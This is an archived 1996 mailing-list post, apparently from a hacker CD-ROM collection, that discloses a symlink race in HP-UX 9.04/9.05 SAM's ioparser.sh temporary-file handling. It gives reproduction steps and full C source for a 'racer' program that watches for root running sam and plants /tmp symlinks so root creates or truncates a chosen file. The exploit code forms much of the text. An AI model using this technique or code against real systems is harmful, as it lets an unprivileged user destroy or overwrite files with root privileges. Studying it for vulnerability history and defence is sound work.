home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / hpux_sam.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.8 KB  |  157 lines

  1.  
  2.                                HP-UX SAM hole...
  3.                                        
  4.    John W. Jacobi (jjacobi@nova.umuc.edu)
  5.    Wed, 25 Sep 1996 08:07:46 -0700
  6.    
  7.        
  8. I never saw this distributed to listserv recipients, that
  9. is why I have sent it again.  Could you please repost.
  10.  
  11. Hi all,
  12.  
  13. Could someone confirm this for me or tell me if I am mistaken ???
  14. Perhaps suggest an easy way to prevent this ???
  15.  
  16. I have discovered something that any user can exploit to
  17. cause root to create or truncate files on the system when root runs sam.
  18. I have put the source code that I wrote to verify it below.
  19.  
  20. Version: HP-UX 9.04 & 9.05 on 9000/700 & 9000/800
  21.  
  22. My basic question is:
  23.  
  24.       "Is there any more global and easy way to prevent this from
  25. happening
  26. aside from modifying the affected scripts ? as I have found that this
  27. exists
  28. in other places then just sam ?"  Perhaps something rather generic on
  29. how root
  30. follows sym links ?  Maybe I'm just pipe dreaming...
  31.  
  32. How it worked for me:
  33.  
  34. What really happens is that sam is a script and it calls another script
  35. named ioparser.sh which writes to temporary file in /tmp of whose name
  36. is
  37. easily guessable.  Basically, if you see sam pop up in the process
  38. table,
  39. create a bunch of sym links of the format /tmp/<hostname>.<pid> where
  40. hostname is the hostname and pid is a number beginning at the sam's PID
  41. + 1
  42. o       n up to some value like sam's PID + 50.  When the sam script calls the
  43. ioparser.sh, it redirects output to a file like /tmp/<hostname>.$$ (the
  44. shell PID), follows the link, and as root creates or truncates what the
  45. link
  46. points to.
  47.  
  48. Any suggestions on what to do, however simple they might be would be
  49. greatly
  50. appreciated.
  51.  
  52. Thanks
  53.  
  54.  
  55. How to do it:
  56.  
  57. Go to your HP 9.04/5 system first.
  58.  
  59. 1. Log into your system as a normal user.
  60. 2. Compile the program below, making any changes if you need to. (you
  61. shouldn't need to)
  62. 3. Log in on another terminal, become root and insure that sam is not
  63.         currently executing.
  64. 4. As the normal user log in, run the program that you compiled in step
  65. 2.
  66. 5. On the root log in session, run sam.
  67. 6. Look at the target file.
  68.  
  69. /*    Code to exploit race of sam calling iopasrer.sh
  70.     It will usually cause the ioparser.sh script run
  71.         by root to follow the sym links created here to
  72.     create or truncate TARGET_FILENAME as root.
  73.  
  74.         It ain't pretty and may not always work, but usually
  75.         does.
  76.  
  77.         Compile on HP9000/[700/800] 9.04[5] with the command:
  78.  
  79.         cc racer.c -o racer -Ae
  80.  
  81. */
  82.  
  83. #include <stdio.h>
  84. #include <sys/stat.h>
  85. #include <fcntl.h>
  86. #include <unistd.h>
  87. #include <string.h>
  88. #include <strings.h>
  89. #include <symlink.h>
  90.  
  91. #define PROC_TO_LOOK_FOR "sam"                  /* The process to look
  92. for in ps */
  93. #define TARGET_FILENAME "/check_this"   /* File that is created or
  94. trunc'ed */
  95. #define NUM_SYM_LINKS 50                                /* Increase this
  96. for systems that fork() alot */
  97.  
  98. void main(void)
  99. {
  100.         char ps_buf[65536];     /* ps data buffer */
  101.         char *line;                     /* a pointer in to the ps_buf */
  102.         char f1[80];            /* buffer space for the sym link name */
  103.         char hostname[32];      /* buffer space to hold hostname, duh */
  104.         int fd;                         /* fd is for the pipe */
  105.         int ext;                        /* the extantion to place on the
  106. symlink (pid) */
  107.         int loop;                       /* Dumb loop variable,
  108. suggestions ??? */
  109.  
  110.         unlink("ps_fifo");                                      /* Why
  111. not */
  112.         mkfifo("ps_fifo",S_IRUSR|S_IWUSR);      /* Need this */
  113.         fd = open("ps_fifo",O_RDONLY|O_NONBLOCK); /* You read the pipe
  114. */
  115.         gethostname(hostname,32); /* gets the hostname just like
  116. ioparser.sh !!! */
  117.  
  118.         printf("Looking for process %s, will exploit filename
  119. %s\n",PROC_TO_LOOK_FOR,TARGET_FILENAME);
  120.  
  121.         /* FIGURE THE REST OUT YOURSELF, IT AIN'T ARTWORK... */
  122.  
  123.         while(1) {
  124.                 system("/bin/ps -u 0 > ps_fifo");
  125.  
  126.                 read(fd,ps_buf,65536);
  127.  
  128.                 if( (line = strstr(ps_buf,PROC_TO_LOOK_FOR)) != NULL ) {
  129.                         while( *line != '\n' ) {
  130.                                 line--;
  131.                         }
  132.  
  133.                         line+=2;
  134.                         line[5] = '\0';
  135.                         ext = atoi(line);
  136.  
  137.                         for(loop = 1 ; loop <= NUM_SYM_LINKS ; loop ++)
  138. {
  139.                                 sprintf(f1,"/tmp/%s.%d",hostname,ext +
  140. loop);
  141.                                 symlink(TARGET_FILENAME,f1);
  142.                         }
  143.  
  144.                         while( (access(TARGET_FILENAME,F_OK)) < 0 );
  145.  
  146.                         printf("%s has run, wait a few seconds and check
  147. %s\n",PROC_TO_LOOK_FOR,TARGET_FILENAME);
  148.                         unlink("ps_fifo");
  149.                         exit();
  150.  
  151.                 }
  152.  
  153.         }
  154.  
  155. }
  156.  
  157.